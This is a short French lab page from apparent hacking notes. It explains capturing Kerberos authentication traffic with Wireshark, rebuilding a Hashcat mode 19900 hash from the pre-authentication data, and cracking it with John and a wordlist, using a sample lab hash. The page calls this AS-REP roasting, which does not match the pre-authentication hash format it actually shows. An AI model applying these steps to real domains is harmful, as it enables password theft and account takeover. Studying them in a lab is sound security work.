> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/fr/active-directory/kerberos/as-rep-roasting-with-wireshark.md).
# AS-REP Roasting avec Wireshark
### Observation manuelle
Dans le labo, nous pouvons capturer le trafic avec Wireshark lors d'une tentative d'authentification.
Nous observons en particulier :
```bash
AS-REQ
AS-REP
```
Dans le paquet Kerberos, nous pouvons analyser :
```bash
padata
padata-value
chiffrement
sel
```
Ces valeurs peuvent être utilisées pour reconstruire un hachage dans un format compatible avec John ou Hashcat.
### Format Hashcat 19900
Pour certains cas liés à la pré-authentification Kerberos, Hashcat peut utiliser le mode :
```
19900
```
{% embed url="" %}
Exemple de structure :
```
$krb5pa$18$user$DOMAIN$SALT$CIPHER
```
Exemple adapté au labo :
{% code overflow="wrap" %}
```bash
$krb5pa$18$Administrador$WHOAMI.LOCAL$WIN-D4TRD7S7IHPAdministrador$96c289009b05181bfd32062962740b1b1ce5f74eb12e0266cde74e81094661addab08c0c1a178882c91a0ed89ae4e0e68d2820b9cce69770
```
{% endcode %}
Ensuite, nous pouvons exécuter John :
{% code overflow="wrap" %}
```bash
john --wordlist=passwords.txt hash
```
{% endcode %}
---
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